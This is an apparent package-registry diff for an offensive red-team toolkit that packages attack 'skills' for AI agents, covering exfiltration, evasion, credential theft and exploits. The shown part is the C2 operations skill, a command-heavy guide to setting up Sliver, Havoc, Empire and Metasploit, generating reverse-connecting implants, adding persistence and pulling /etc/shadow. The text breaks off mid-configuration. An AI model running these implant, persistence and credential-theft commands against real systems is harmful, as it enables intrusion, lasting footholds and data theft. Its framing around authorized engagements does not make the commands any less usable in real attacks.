rtexit-method 0.1.0 → 0.1.2

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (224) hide show
  1. package/package.json +9 -7
  2. package/packaged-assets/.agents/skills/rt-active-recon/SKILL.md +767 -0
  3. package/packaged-assets/.agents/skills/rt-active-recon/workflow.md +68 -0
  4. package/packaged-assets/.agents/skills/rt-agent-breaker/SKILL.md +65 -0
  5. package/packaged-assets/.agents/skills/rt-agent-breaker/customize.toml +76 -0
  6. package/packaged-assets/.agents/skills/rt-agent-commander/SKILL.md +63 -0
  7. package/packaged-assets/.agents/skills/rt-agent-commander/customize.toml +67 -0
  8. package/packaged-assets/.agents/skills/rt-agent-ghost/SKILL.md +65 -0
  9. package/packaged-assets/.agents/skills/rt-agent-ghost/customize.toml +77 -0
  10. package/packaged-assets/.agents/skills/rt-agent-navigator/SKILL.md +62 -0
  11. package/packaged-assets/.agents/skills/rt-agent-navigator/customize.toml +61 -0
  12. package/packaged-assets/.agents/skills/rt-agent-phantom/SKILL.md +62 -0
  13. package/packaged-assets/.agents/skills/rt-agent-phantom/customize.toml +62 -0
  14. package/packaged-assets/.agents/skills/rt-agent-scout/SKILL.md +62 -0
  15. package/packaged-assets/.agents/skills/rt-agent-scout/customize.toml +61 -0
  16. package/packaged-assets/.agents/skills/rt-agent-scribe/SKILL.md +65 -0
  17. package/packaged-assets/.agents/skills/rt-agent-scribe/customize.toml +77 -0
  18. package/packaged-assets/.agents/skills/rt-attack-chain-builder/SKILL.md +476 -0
  19. package/packaged-assets/.agents/skills/rt-attack-chain-builder/workflow.md +68 -0
  20. package/packaged-assets/.agents/skills/rt-attack-surface-map/SKILL.md +1209 -0
  21. package/packaged-assets/.agents/skills/rt-attack-surface-map/template.md +62 -0
  22. package/packaged-assets/.agents/skills/rt-autodoc/SKILL.md +258 -0
  23. package/packaged-assets/.agents/skills/rt-c2-operations/SKILL.md +1072 -0
  24. package/packaged-assets/.agents/skills/rt-c2-operations/workflow.md +68 -0
  25. package/packaged-assets/.agents/skills/rt-compliance-mapper/SKILL.md +773 -0
  26. package/packaged-assets/.agents/skills/rt-create-sead/SKILL.md +74 -0
  27. package/packaged-assets/.agents/skills/rt-create-sead/template.md +89 -0
  28. package/packaged-assets/.agents/skills/rt-create-sead/workflow.md +68 -0
  29. package/packaged-assets/.agents/skills/rt-credential-access/SKILL.md +756 -0
  30. package/packaged-assets/.agents/skills/rt-credential-hunt/SKILL.md +856 -0
  31. package/packaged-assets/.agents/skills/rt-credential-hunt/workflow.md +68 -0
  32. package/packaged-assets/.agents/skills/rt-cvss-calculator/SKILL.md +542 -0
  33. package/packaged-assets/.agents/skills/rt-cvss-calculator/cvss4-matrix.csv +20 -0
  34. package/packaged-assets/.agents/skills/rt-data-exfiltration/SKILL.md +784 -0
  35. package/packaged-assets/.agents/skills/rt-defense-evasion/SKILL.md +987 -0
  36. package/packaged-assets/.agents/skills/rt-evidence-chain/SKILL.md +712 -0
  37. package/packaged-assets/.agents/skills/rt-evidence-chain/template.md +31 -0
  38. package/packaged-assets/.agents/skills/rt-executive-report/SKILL.md +718 -0
  39. package/packaged-assets/.agents/skills/rt-executive-report/template.md +38 -0
  40. package/packaged-assets/.agents/skills/rt-executive-report/workflow.md +68 -0
  41. package/packaged-assets/.agents/skills/rt-exploit-active-directory/SKILL.md +1078 -0
  42. package/packaged-assets/.agents/skills/rt-exploit-active-directory/ad-checklist.csv +12 -0
  43. package/packaged-assets/.agents/skills/rt-exploit-active-directory/workflow.md +68 -0
  44. package/packaged-assets/.agents/skills/rt-exploit-android/SKILL.md +1329 -0
  45. package/packaged-assets/.agents/skills/rt-exploit-android/masvs-checklist.csv +10 -0
  46. package/packaged-assets/.agents/skills/rt-exploit-android/workflow.md +68 -0
  47. package/packaged-assets/.agents/skills/rt-exploit-api/SKILL.md +1547 -0
  48. package/packaged-assets/.agents/skills/rt-exploit-api/workflow.md +68 -0
  49. package/packaged-assets/.agents/skills/rt-exploit-auth/SKILL.md +1949 -0
  50. package/packaged-assets/.agents/skills/rt-exploit-auth/workflow.md +68 -0
  51. package/packaged-assets/.agents/skills/rt-exploit-bec/SKILL.md +69 -0
  52. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/SKILL.md +865 -0
  53. package/packaged-assets/.agents/skills/rt-exploit-cloud-aws/workflow.md +68 -0
  54. package/packaged-assets/.agents/skills/rt-exploit-cloud-azure/SKILL.md +1258 -0
  55. package/packaged-assets/.agents/skills/rt-exploit-cloud-gcp/SKILL.md +981 -0
  56. package/packaged-assets/.agents/skills/rt-exploit-containers/SKILL.md +55 -0
  57. package/packaged-assets/.agents/skills/rt-exploit-databases/SKILL.md +1374 -0
  58. package/packaged-assets/.agents/skills/rt-exploit-desktop-mac/SKILL.md +834 -0
  59. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/SKILL.md +903 -0
  60. package/packaged-assets/.agents/skills/rt-exploit-desktop-win/workflow.md +68 -0
  61. package/packaged-assets/.agents/skills/rt-exploit-dotnet/SKILL.md +945 -0
  62. package/packaged-assets/.agents/skills/rt-exploit-elasticsearch/SKILL.md +68 -0
  63. package/packaged-assets/.agents/skills/rt-exploit-electron/SKILL.md +1023 -0
  64. package/packaged-assets/.agents/skills/rt-exploit-electron/workflow.md +68 -0
  65. package/packaged-assets/.agents/skills/rt-exploit-file-upload/SKILL.md +1576 -0
  66. package/packaged-assets/.agents/skills/rt-exploit-file-upload/payloads/README.md +4 -0
  67. package/packaged-assets/.agents/skills/rt-exploit-file-upload/workflow.md +68 -0
  68. package/packaged-assets/.agents/skills/rt-exploit-firebase/SKILL.md +54 -0
  69. package/packaged-assets/.agents/skills/rt-exploit-frameworks/SKILL.md +967 -0
  70. package/packaged-assets/.agents/skills/rt-exploit-idor/SKILL.md +1693 -0
  71. package/packaged-assets/.agents/skills/rt-exploit-idor/workflow.md +68 -0
  72. package/packaged-assets/.agents/skills/rt-exploit-injection/SKILL.md +1860 -0
  73. package/packaged-assets/.agents/skills/rt-exploit-injection/payloads/sqlmap-tampers.txt +22 -0
  74. package/packaged-assets/.agents/skills/rt-exploit-injection/workflow.md +68 -0
  75. package/packaged-assets/.agents/skills/rt-exploit-ios/SKILL.md +1214 -0
  76. package/packaged-assets/.agents/skills/rt-exploit-ios/workflow.md +68 -0
  77. package/packaged-assets/.agents/skills/rt-exploit-iot/SKILL.md +91 -0
  78. package/packaged-assets/.agents/skills/rt-exploit-iot/workflow.md +68 -0
  79. package/packaged-assets/.agents/skills/rt-exploit-java/SKILL.md +1009 -0
  80. package/packaged-assets/.agents/skills/rt-exploit-jwt/SKILL.md +1327 -0
  81. package/packaged-assets/.agents/skills/rt-exploit-jwt/workflow.md +68 -0
  82. package/packaged-assets/.agents/skills/rt-exploit-mongodb/SKILL.md +67 -0
  83. package/packaged-assets/.agents/skills/rt-exploit-mssql/SKILL.md +52 -0
  84. package/packaged-assets/.agents/skills/rt-exploit-mysql/SKILL.md +53 -0
  85. package/packaged-assets/.agents/skills/rt-exploit-network/SKILL.md +118 -0
  86. package/packaged-assets/.agents/skills/rt-exploit-network/workflow.md +68 -0
  87. package/packaged-assets/.agents/skills/rt-exploit-nodejs/SKILL.md +852 -0
  88. package/packaged-assets/.agents/skills/rt-exploit-osticket/SKILL.md +63 -0
  89. package/packaged-assets/.agents/skills/rt-exploit-phishing/SKILL.md +173 -0
  90. package/packaged-assets/.agents/skills/rt-exploit-phishing/templates/README.md +4 -0
  91. package/packaged-assets/.agents/skills/rt-exploit-phishing/workflow.md +68 -0
  92. package/packaged-assets/.agents/skills/rt-exploit-php/SKILL.md +1119 -0
  93. package/packaged-assets/.agents/skills/rt-exploit-physical/SKILL.md +63 -0
  94. package/packaged-assets/.agents/skills/rt-exploit-physical/workflow.md +68 -0
  95. package/packaged-assets/.agents/skills/rt-exploit-postgresql/SKILL.md +67 -0
  96. package/packaged-assets/.agents/skills/rt-exploit-python/SKILL.md +986 -0
  97. package/packaged-assets/.agents/skills/rt-exploit-redis/SKILL.md +68 -0
  98. package/packaged-assets/.agents/skills/rt-exploit-ruby/SKILL.md +61 -0
  99. package/packaged-assets/.agents/skills/rt-exploit-scada/SKILL.md +1091 -0
  100. package/packaged-assets/.agents/skills/rt-exploit-ssrf/SKILL.md +1528 -0
  101. package/packaged-assets/.agents/skills/rt-exploit-ssrf/payloads.txt +23 -0
  102. package/packaged-assets/.agents/skills/rt-exploit-ssrf/workflow.md +68 -0
  103. package/packaged-assets/.agents/skills/rt-exploit-vishing/SKILL.md +121 -0
  104. package/packaged-assets/.agents/skills/rt-exploit-vishing/scripts.md +4 -0
  105. package/packaged-assets/.agents/skills/rt-exploit-web/SKILL.md +1902 -0
  106. package/packaged-assets/.agents/skills/rt-exploit-web/owasp-checklist.csv +14 -0
  107. package/packaged-assets/.agents/skills/rt-exploit-web/workflow.md +68 -0
  108. package/packaged-assets/.agents/skills/rt-exploit-wireless/SKILL.md +71 -0
  109. package/packaged-assets/.agents/skills/rt-exploit-wordpress/SKILL.md +1565 -0
  110. package/packaged-assets/.agents/skills/rt-exploit-wordpress/cves.csv +7 -0
  111. package/packaged-assets/.agents/skills/rt-exploit-wordpress/workflow.md +68 -0
  112. package/packaged-assets/.agents/skills/rt-exploit-xss/SKILL.md +1526 -0
  113. package/packaged-assets/.agents/skills/rt-exploit-xss/payloads.txt +18 -0
  114. package/packaged-assets/.agents/skills/rt-exploit-xss/workflow.md +68 -0
  115. package/packaged-assets/.agents/skills/rt-finding-document/SKILL.md +687 -0
  116. package/packaged-assets/.agents/skills/rt-finding-document/template.md +71 -0
  117. package/packaged-assets/.agents/skills/rt-finding-document/workflow.md +68 -0
  118. package/packaged-assets/.agents/skills/rt-finding-tracker/SKILL.md +216 -0
  119. package/packaged-assets/.agents/skills/rt-finding-tracker/workflow.md +68 -0
  120. package/packaged-assets/.agents/skills/rt-help/SKILL.md +292 -0
  121. package/packaged-assets/.agents/skills/rt-help/workflow.md +68 -0
  122. package/packaged-assets/.agents/skills/rt-js-analysis/SKILL.md +639 -0
  123. package/packaged-assets/.agents/skills/rt-js-analysis/patterns.txt +27 -0
  124. package/packaged-assets/.agents/skills/rt-js-analysis/workflow.md +68 -0
  125. package/packaged-assets/.agents/skills/rt-kill-chain-map/SKILL.md +393 -0
  126. package/packaged-assets/.agents/skills/rt-lateral-movement/SKILL.md +1032 -0
  127. package/packaged-assets/.agents/skills/rt-lateral-movement/workflow.md +68 -0
  128. package/packaged-assets/.agents/skills/rt-methodology-selector/SKILL.md +69 -0
  129. package/packaged-assets/.agents/skills/rt-methodology-selector/frameworks.csv +10 -0
  130. package/packaged-assets/.agents/skills/rt-methodology-selector/workflow.md +68 -0
  131. package/packaged-assets/.agents/skills/rt-mitre-map/SKILL.md +668 -0
  132. package/packaged-assets/.agents/skills/rt-mitre-map/tactics.csv +16 -0
  133. package/packaged-assets/.agents/skills/rt-mitre-map/workflow.md +68 -0
  134. package/packaged-assets/.agents/skills/rt-osint/SKILL.md +775 -0
  135. package/packaged-assets/.agents/skills/rt-osint/osint-sources.csv +12 -0
  136. package/packaged-assets/.agents/skills/rt-osint/workflow.md +68 -0
  137. package/packaged-assets/.agents/skills/rt-party-mode/SKILL.md +249 -0
  138. package/packaged-assets/.agents/skills/rt-party-mode/workflow.md +68 -0
  139. package/packaged-assets/.agents/skills/rt-persistence/SKILL.md +1146 -0
  140. package/packaged-assets/.agents/skills/rt-persistence/workflow.md +68 -0
  141. package/packaged-assets/.agents/skills/rt-poc-writer/SKILL.md +640 -0
  142. package/packaged-assets/.agents/skills/rt-post-exploitation/SKILL.md +998 -0
  143. package/packaged-assets/.agents/skills/rt-post-exploitation/linux-checklist.csv +10 -0
  144. package/packaged-assets/.agents/skills/rt-post-exploitation/windows-checklist.csv +10 -0
  145. package/packaged-assets/.agents/skills/rt-post-exploitation/workflow.md +68 -0
  146. package/packaged-assets/.agents/skills/rt-privilege-escalation/SKILL.md +1027 -0
  147. package/packaged-assets/.agents/skills/rt-privilege-escalation/linux-checklist.csv +10 -0
  148. package/packaged-assets/.agents/skills/rt-privilege-escalation/win-checklist.csv +10 -0
  149. package/packaged-assets/.agents/skills/rt-privilege-escalation/workflow.md +68 -0
  150. package/packaged-assets/.agents/skills/rt-remediation-roadmap/SKILL.md +665 -0
  151. package/packaged-assets/.agents/skills/rt-remediation-roadmap/template.md +28 -0
  152. package/packaged-assets/.agents/skills/rt-risk-matrix/SKILL.md +232 -0
  153. package/packaged-assets/.agents/skills/rt-rules-of-engagement/SKILL.md +62 -0
  154. package/packaged-assets/.agents/skills/rt-rules-of-engagement/workflow.md +68 -0
  155. package/packaged-assets/.agents/skills/rt-scenario-c001/SKILL.md +71 -0
  156. package/packaged-assets/.agents/skills/rt-scenario-c002/SKILL.md +69 -0
  157. package/packaged-assets/.agents/skills/rt-scenario-c003/SKILL.md +71 -0
  158. package/packaged-assets/.agents/skills/rt-scenario-c004/SKILL.md +71 -0
  159. package/packaged-assets/.agents/skills/rt-scenario-c005/SKILL.md +72 -0
  160. package/packaged-assets/.agents/skills/rt-scenario-d001/SKILL.md +378 -0
  161. package/packaged-assets/.agents/skills/rt-scenario-d002/SKILL.md +392 -0
  162. package/packaged-assets/.agents/skills/rt-scenario-d003/SKILL.md +522 -0
  163. package/packaged-assets/.agents/skills/rt-scenario-d004/SKILL.md +373 -0
  164. package/packaged-assets/.agents/skills/rt-scenario-d005/SKILL.md +458 -0
  165. package/packaged-assets/.agents/skills/rt-scenario-library/SKILL.md +292 -0
  166. package/packaged-assets/.agents/skills/rt-scenario-library/scenarios.csv +32 -0
  167. package/packaged-assets/.agents/skills/rt-scenario-m001/SKILL.md +796 -0
  168. package/packaged-assets/.agents/skills/rt-scenario-m002/SKILL.md +723 -0
  169. package/packaged-assets/.agents/skills/rt-scenario-m003/SKILL.md +463 -0
  170. package/packaged-assets/.agents/skills/rt-scenario-m004/SKILL.md +449 -0
  171. package/packaged-assets/.agents/skills/rt-scenario-m005/SKILL.md +505 -0
  172. package/packaged-assets/.agents/skills/rt-scenario-n001/SKILL.md +573 -0
  173. package/packaged-assets/.agents/skills/rt-scenario-n002/SKILL.md +112 -0
  174. package/packaged-assets/.agents/skills/rt-scenario-n003/SKILL.md +100 -0
  175. package/packaged-assets/.agents/skills/rt-scenario-n004/SKILL.md +90 -0
  176. package/packaged-assets/.agents/skills/rt-scenario-n005/SKILL.md +71 -0
  177. package/packaged-assets/.agents/skills/rt-scenario-w001/SKILL.md +635 -0
  178. package/packaged-assets/.agents/skills/rt-scenario-w002/SKILL.md +612 -0
  179. package/packaged-assets/.agents/skills/rt-scenario-w003/SKILL.md +449 -0
  180. package/packaged-assets/.agents/skills/rt-scenario-w004/SKILL.md +648 -0
  181. package/packaged-assets/.agents/skills/rt-scenario-w005/SKILL.md +479 -0
  182. package/packaged-assets/.agents/skills/rt-scenario-w006/SKILL.md +443 -0
  183. package/packaged-assets/.agents/skills/rt-scenario-w007/SKILL.md +494 -0
  184. package/packaged-assets/.agents/skills/rt-scenario-w008/SKILL.md +576 -0
  185. package/packaged-assets/.agents/skills/rt-scenario-w009/SKILL.md +518 -0
  186. package/packaged-assets/.agents/skills/rt-scenario-w010/SKILL.md +574 -0
  187. package/packaged-assets/.agents/skills/rt-scope-definition/SKILL.md +79 -0
  188. package/packaged-assets/.agents/skills/rt-scope-definition/workflow.md +68 -0
  189. package/packaged-assets/.agents/skills/rt-shodan-recon/SKILL.md +880 -0
  190. package/packaged-assets/.agents/skills/rt-status/SKILL.md +64 -0
  191. package/packaged-assets/.agents/skills/rt-subdomain-enum/SKILL.md +906 -0
  192. package/packaged-assets/.agents/skills/rt-subdomain-enum/workflow.md +68 -0
  193. package/packaged-assets/.agents/skills/rt-technical-report/SKILL.md +710 -0
  194. package/packaged-assets/.agents/skills/rt-technical-report/template.md +41 -0
  195. package/packaged-assets/.agents/skills/rt-technical-report/workflow.md +68 -0
  196. package/packaged-assets/.agents/skills/rt-threat-model/SKILL.md +59 -0
  197. package/packaged-assets/.agents/skills/rt-threat-model/template.md +32 -0
  198. package/packaged-assets/.agents/skills/rt-threat-model/workflow.md +68 -0
  199. package/packaged-assets/.agents/skills/rt-timeline/SKILL.md +338 -0
  200. package/packaged-assets/RTEXIT.md +127 -0
  201. package/tools/installer/commands/install.js +0 -1
  202. package/tools/installer/lib/asset-manifest.js +10 -5
  203. package/tools/installer/lib/banner.js +14 -6
  204. package/tools/installer/lib/copy-assets.js +5 -2
  205. package/tools/installer/lib/prompts.js +1 -11
  206. package/tools/installer/lib/write-config.js +8 -2
  207. /package/{_rtexit → packaged-assets/_rtexit}/config.toml +0 -0
  208. /package/{_rtexit → packaged-assets/_rtexit}/config.user.toml +0 -0
  209. /package/{_rtexit → packaged-assets/_rtexit}/custom/config.toml +0 -0
  210. /package/{_rtexit → packaged-assets/_rtexit}/scripts/autodoc_engine.py +0 -0
  211. /package/{_rtexit → packaged-assets/_rtexit}/scripts/finding_tracker.py +0 -0
  212. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_config.py +0 -0
  213. /package/{_rtexit → packaged-assets/_rtexit}/scripts/resolve_customization.py +0 -0
  214. /package/{resources → packaged-assets/resources}/certifications.md +0 -0
  215. /package/{resources → packaged-assets/resources}/payloads.md +0 -0
  216. /package/{resources → packaged-assets/resources}/tools.md +0 -0
  217. /package/{resources → packaged-assets/resources}/wordlists.md +0 -0
  218. /package/{templates → packaged-assets/templates}/attack-chain-template.md +0 -0
  219. /package/{templates → packaged-assets/templates}/executive-report-template.md +0 -0
  220. /package/{templates → packaged-assets/templates}/executive-report.md +0 -0
  221. /package/{templates → packaged-assets/templates}/finding-template.md +0 -0
  222. /package/{templates → packaged-assets/templates}/remediation-roadmap.md +0 -0
  223. /package/{templates → packaged-assets/templates}/sead-template.md +0 -0
  224. /package/{templates → packaged-assets/templates}/technical-report.md +0 -0
@@ -0,0 +1,1072 @@
1
+ ---
2
+ name: rt-c2-operations
3
+ description: "Command and Control (C2) framework operations skill. Sliver C2 (open source): server setup, implant generation for HTTP/HTTPS/DNS/mTLS, beacon commands. Havoc C2: teamserver setup, agent generation. Empire PowerShell: installation and basic operation. Metasploit meterpreter: handler setup, session management. Common C2 commands across frameworks. OPSEC considerations for C2 traffic."
4
+ ---
5
+
6
+ # rt-c2-operations — Command and Control Framework Operations
7
+
8
+ ## Overview
9
+
10
+ This skill covers the deployment, configuration, and operational use of Command and Control (C2) frameworks during authorized red team engagements. C2 infrastructure is the backbone of persistent access and post-exploitation operations, enabling operators to issue commands, exfiltrate data, and maintain footholds across target environments.
11
+
12
+ C2 operations require careful planning, infrastructure preparation, and ongoing OPSEC discipline. Sloppy C2 usage is the single most common cause of red team detection and early termination of engagements.
13
+
14
+ **Use this skill when:**
15
+ - Establishing persistent access after initial compromise
16
+ - Coordinating multi-operator engagements requiring shared session management
17
+ - Moving laterally across segmented networks
18
+ - Simulating APT tradecraft for detection validation
19
+ - Conducting long-duration engagements requiring beacon resilience
20
+
21
+ **Frameworks covered:**
22
+ - Sliver C2 (primary, open source, actively maintained)
23
+ - Havoc C2 (advanced, demon agent)
24
+ - Empire PowerShell C2 (Windows-heavy environments)
25
+ - Metasploit Meterpreter (rapid exploitation, familiar baseline)
26
+
27
+ ---
28
+
29
+ ## Prerequisites and Tool Setup
30
+
31
+ ### System Requirements
32
+
33
+ - Kali Linux 2023.x or later (operator workstation)
34
+ - VPS or dedicated server for C2 teamserver (Ubuntu 22.04 LTS recommended)
35
+ - Domain name with DNS control (for redirectors and DNS C2)
36
+ - Valid TLS certificates (Let's Encrypt or purchased)
37
+ - Minimum 2 GB RAM on teamserver, 4 GB recommended for Havoc
38
+
39
+ ### Infrastructure Layout
40
+
41
+ ```
42
+ [Operator Workstation] --> [Teamserver VPS] <-- [Redirector] <-- [Target Implant]
43
+ ```
44
+
45
+ Never expose the teamserver IP directly. Always use redirectors (Apache/Nginx mod_rewrite, Cloudflare, or dedicated redirector servers).
46
+
47
+ ---
48
+
49
+ ### Sliver C2 Setup
50
+
51
+ **GitHub:** https://github.com/BishopFox/sliver
52
+
53
+ ```bash
54
+ # Install on teamserver (Ubuntu 22.04)
55
+ curl https://sliver.sh/install | sudo bash
56
+
57
+ # Start server as a service
58
+ sudo systemctl enable sliver
59
+ sudo systemctl start sliver
60
+
61
+ # Connect as operator
62
+ sliver-server
63
+
64
+ # On operator workstation - install client
65
+ wget https://github.com/BishopFox/sliver/releases/latest/download/sliver-client_linux
66
+ chmod +x sliver-client_linux
67
+ sudo mv sliver-client_linux /usr/local/bin/sliver
68
+
69
+ # Generate operator config (run on teamserver)
70
+ sliver-server operator --name operator1 --lhost TEAMSERVER_IP --save /tmp/operator1.cfg
71
+
72
+ # Connect client to server
73
+ sliver import /tmp/operator1.cfg
74
+ sliver
75
+ ```
76
+
77
+ ### Havoc C2 Setup
78
+
79
+ **GitHub:** https://github.com/HavocFramework/Havoc
80
+
81
+ ```bash
82
+ # Dependencies
83
+ sudo apt update && sudo apt install -y git build-essential cmake mingw-w64 \
84
+ nasm python3 python3-pip libssl-dev libz-dev golang-go
85
+
86
+ # Clone and build
87
+ git clone https://github.com/HavocFramework/Havoc.git
88
+ cd Havoc
89
+
90
+ # Build teamserver
91
+ cd teamserver
92
+ go mod download
93
+ go build -o teamserver .
94
+
95
+ # Build client
96
+ cd ../client
97
+ python3 -m pip install -r requirements.txt
98
+ python3 Havoc.py
99
+
100
+ # Create profile (profiles/example.yaotl is a good start)
101
+ cp profiles/example.yaotl profiles/engagement.yaotl
102
+ # Edit engagement.yaotl with your teamserver IP, port, and credentials
103
+ ```
104
+
105
+ ### Empire PowerShell C2 Setup
106
+
107
+ **GitHub:** https://github.com/BC-SECURITY/Empire
108
+
109
+ ```bash
110
+ # Clone and install
111
+ git clone https://github.com/BC-SECURITY/Empire.git
112
+ cd Empire
113
+ sudo ./setup/install.sh
114
+
115
+ # Start server
116
+ sudo ./empire --server
117
+
118
+ # Start client (separate terminal)
119
+ ./empire --client
120
+
121
+ # Or use the RESTful API
122
+ sudo ./empire --server --rest --username admin --password changeme
123
+ ```
124
+
125
+ ### Metasploit Setup (Kali — pre-installed)
126
+
127
+ ```bash
128
+ # Start PostgreSQL for session persistence
129
+ sudo systemctl start postgresql
130
+
131
+ # Initialize database
132
+ sudo msfdb init
133
+
134
+ # Launch Metasploit
135
+ msfconsole
136
+
137
+ # Verify database connection
138
+ msf6 > db_status
139
+ ```
140
+
141
+ ---
142
+
143
+ ## Skill Levels
144
+
145
+ ### BEGINNER — Metasploit Meterpreter Basics
146
+
147
+ **Goal:** Understand C2 fundamentals with the most documented framework.
148
+
149
+ #### 1. Set Up a Basic Listener
150
+
151
+ ```bash
152
+ msfconsole
153
+
154
+ # Generic TCP reverse shell handler
155
+ msf6 > use exploit/multi/handler
156
+ msf6 exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
157
+ msf6 exploit(multi/handler) > set LHOST YOUR_IP
158
+ msf6 exploit(multi/handler) > set LPORT 4444
159
+ msf6 exploit(multi/handler) > set ExitOnSession false
160
+ msf6 exploit(multi/handler) > run -j
161
+ ```
162
+
163
+ #### 2. Generate a Basic Implant
164
+
165
+ ```bash
166
+ # Generate a Windows EXE payload
167
+ msfvenom -p windows/x64/meterpreter/reverse_tcp \
168
+ LHOST=YOUR_IP LPORT=4444 \
169
+ -f exe -o implant.exe
170
+
171
+ # Generate a PowerShell one-liner
172
+ msfvenom -p windows/x64/meterpreter/reverse_tcp \
173
+ LHOST=YOUR_IP LPORT=4444 \
174
+ -f psh -o implant.ps1
175
+ ```
176
+
177
+ #### 3. Basic Meterpreter Session Commands
178
+
179
+ ```bash
180
+ # List active sessions
181
+ msf6 > sessions -l
182
+
183
+ # Interact with a session
184
+ msf6 > sessions -i 1
185
+
186
+ # Core commands
187
+ meterpreter > sysinfo # System information
188
+ meterpreter > getuid # Current user
189
+ meterpreter > getpid # Current process ID
190
+ meterpreter > ps # List processes
191
+ meterpreter > pwd # Print working directory
192
+ meterpreter > ls # List directory contents
193
+ meterpreter > download /etc/passwd /tmp/
194
+ meterpreter > upload /tmp/tool.exe C:\\Users\\Public\\tool.exe
195
+ meterpreter > shell # Drop to OS shell
196
+ meterpreter > background # Return to msf console
197
+ meterpreter > exit # Kill session
198
+ ```
199
+
200
+ #### 4. Persistence (Basic)
201
+
202
+ ```bash
203
+ # Registry persistence
204
+ meterpreter > run persistence -X -i 30 -p 4444 -r YOUR_IP
205
+
206
+ # Scheduled task persistence
207
+ meterpreter > run post/windows/manage/persistence_exe \
208
+ STARTUP=SCHEDULER \
209
+ SESSION=1
210
+ ```
211
+
212
+ ---
213
+
214
+ ### INTERMEDIATE — Sliver C2 Operations
215
+
216
+ **Goal:** Operate Sliver for realistic engagements with multiple transport options.
217
+
218
+ #### 1. Start Listeners
219
+
220
+ ```bash
221
+ # HTTP listener
222
+ sliver > http --lhost 0.0.0.0 --lport 80
223
+
224
+ # HTTPS listener (requires cert)
225
+ sliver > https --lhost 0.0.0.0 --lport 443 \
226
+ --cert /etc/ssl/certs/fullchain.pem \
227
+ --key /etc/ssl/private/privkey.pem
228
+
229
+ # DNS listener (requires domain delegation)
230
+ sliver > dns --domains c2.yourdomain.com
231
+
232
+ # mTLS listener (highest security)
233
+ sliver > mtls --lhost 0.0.0.0 --lport 8888
234
+ ```
235
+
236
+ #### 2. Generate Implants
237
+
238
+ ```bash
239
+ # HTTP implant (session mode — interactive)
240
+ sliver > generate --http TEAMSERVER_IP --os windows --arch amd64 \
241
+ --format exe --save /tmp/implant_http.exe
242
+
243
+ # HTTPS implant with domain fronting
244
+ sliver > generate --http https://c2.yourdomain.com --os windows \
245
+ --arch amd64 --format exe --save /tmp/implant_https.exe
246
+
247
+ # DNS beacon (stealthy, slow)
248
+ sliver > generate beacon --dns c2.yourdomain.com --os windows \
249
+ --arch amd64 --format exe --save /tmp/beacon_dns.exe
250
+
251
+ # Shellcode output (for injection)
252
+ sliver > generate --http TEAMSERVER_IP --os windows --arch amd64 \
253
+ --format shellcode --save /tmp/implant.bin
254
+
255
+ # Linux implant
256
+ sliver > generate --mtls TEAMSERVER_IP:8888 --os linux --arch amd64 \
257
+ --format elf --save /tmp/implant_linux
258
+
259
+ # macOS implant
260
+ sliver > generate --http TEAMSERVER_IP --os darwin --arch amd64 \
261
+ --format macho --save /tmp/implant_macos
262
+ ```
263
+
264
+ #### 3. Beacon vs Session Mode
265
+
266
+ ```bash
267
+ # Beacon: checks in at intervals (stealthy, like APT)
268
+ sliver > generate beacon --http TEAMSERVER_IP \
269
+ --seconds 60 --jitter 30 \
270
+ --os windows --arch amd64 --format exe
271
+
272
+ # Session: persistent interactive connection (noisier)
273
+ sliver > generate --http TEAMSERVER_IP \
274
+ --os windows --arch amd64 --format exe
275
+
276
+ # List beacons (waiting for check-in)
277
+ sliver > beacons
278
+
279
+ # Interact with beacon (tasks are queued, executed on next check-in)
280
+ sliver > use BEACON_ID
281
+
282
+ # List active sessions (interactive)
283
+ sliver > sessions
284
+ sliver > use SESSION_ID
285
+ ```
286
+
287
+ #### 4. Core Sliver Session Commands
288
+
289
+ ```bash
290
+ # System recon
291
+ sliver (IMPLANT) > info # Session metadata
292
+ sliver (IMPLANT) > whoami # Current user
293
+ sliver (IMPLANT) > pwd # Working directory
294
+ sliver (IMPLANT) > ls # List files
295
+ sliver (IMPLANT) > ps # Process list
296
+ sliver (IMPLANT) > netstat # Network connections
297
+ sliver (IMPLANT) > ifconfig # Network interfaces
298
+ sliver (IMPLANT) > env # Environment variables
299
+
300
+ # File operations
301
+ sliver (IMPLANT) > download /etc/shadow
302
+ sliver (IMPLANT) > upload /tmp/linpeas.sh /tmp/linpeas.sh
303
+ sliver (IMPLANT) > rm /tmp/implant.exe
304
+ sliver (IMPLANT) > mkdir C:\\ProgramData\\updates
305
+
306
+ # Execution
307
+ sliver (IMPLANT) > execute -o whoami
308
+ sliver (IMPLANT) > shell # Interactive shell (OPSEC risk)
309
+
310
+ # Lateral movement
311
+ sliver (IMPLANT) > socks5 start --host 127.0.0.1 --port 1080
312
+ # Then use proxychains with other tools
313
+
314
+ # Port forwarding
315
+ sliver (IMPLANT) > portfwd add --remote 192.168.1.10:3389 --local 127.0.0.1:33890
316
+
317
+ # Process injection
318
+ sliver (IMPLANT) > migrate --pid TARGET_PID
319
+
320
+ # Screenshot
321
+ sliver (IMPLANT) > screenshot
322
+
323
+ # Pivot (route through compromised host to reach internal network)
324
+ sliver (IMPLANT) > pivots tcp --bind 0.0.0.0:9999
325
+ ```
326
+
327
+ #### 5. Armory Extensions (Sliver Modules)
328
+
329
+ ```bash
330
+ # Install armory packages
331
+ sliver > armory install all
332
+
333
+ # Run BOFs (Beacon Object Files)
334
+ sliver (IMPLANT) > bof <module_name> [args]
335
+
336
+ # Common BOF modules
337
+ sliver (IMPLANT) > sharp-hound-4 # BloodHound data collection
338
+ sliver (IMPLANT) > sa-whoami # Detailed user/token info
339
+ sliver (IMPLANT) > arp-scan # ARP scanning via BOF
340
+ ```
341
+
342
+ ---
343
+
344
+ ### ADVANCED — Havoc C2 and Evasion Techniques
345
+
346
+ **Goal:** Use Havoc's Demon agent for advanced evasion and in-memory operations.
347
+
348
+ #### 1. Configure Havoc Teamserver Profile
349
+
350
+ ```yaml
351
+ # profiles/engagement.yaotl
352
+ Teamserver {
353
+ Host = "0.0.0.0"
354
+ Port = 40056
355
+
356
+ Build {
357
+ Compiler64 = "/usr/bin/x86_64-w64-mingw32-gcc"
358
+ Nasm = "/usr/bin/nasm"
359
+ }
360
+ }
361
+
362
+ Operators {
363
+ operator "redteam1" {
364
